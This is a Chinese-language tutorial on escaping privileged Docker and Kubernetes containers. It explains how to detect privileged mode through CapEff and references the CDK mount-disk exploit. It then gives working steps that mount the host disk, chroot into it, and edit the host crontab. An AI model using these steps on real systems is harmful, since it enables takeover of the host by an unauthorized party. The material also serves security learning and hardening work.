前言
特权容器启动时,容器本身具有很高的权限,利用此我们可以进行容器逃逸。
漏洞介绍
docker 容器以特权模式(docker run --privileged
)启动时,允许容器内的root拥有外部物理机root权限,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器:
securityContext:
privileged: true
判断容器是否以特权模式启动:
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff
对应的掩码值应该为0000003fffffffff
漏洞利用
cdk关于该漏洞的exp
自动化逃逸有设备操作权限的容器。常用于逃逸特权容器。
该脚本将自动化识别当前容器内的挂载情况,并将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件(如修改宿主机的/etc/crontab
)完成逃逸。
- 宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。
docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
- 容器内部执行
./cdk run mount-disk
- 在容器内部进入挂载目录,直接管理宿主机磁盘文件。
漏洞复现
启动特权容器
在docker命令行中可以通过如下命令启动一个特权容器
docker run -it --privileged nginx /bin/bash
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器
securityContext:
privileged: true
查看磁盘文件
查看磁盘文件:fdisk -l
此时查看/dev/路径会发现很多设备文件:ls /dev
挂载磁盘设备进行逃逸
在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件
fdisk -l
mkdir /abc
mount /dev/sda1 /abc
chroot /abc/
参考文章
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
https://www.anquanke.com/post/id/179623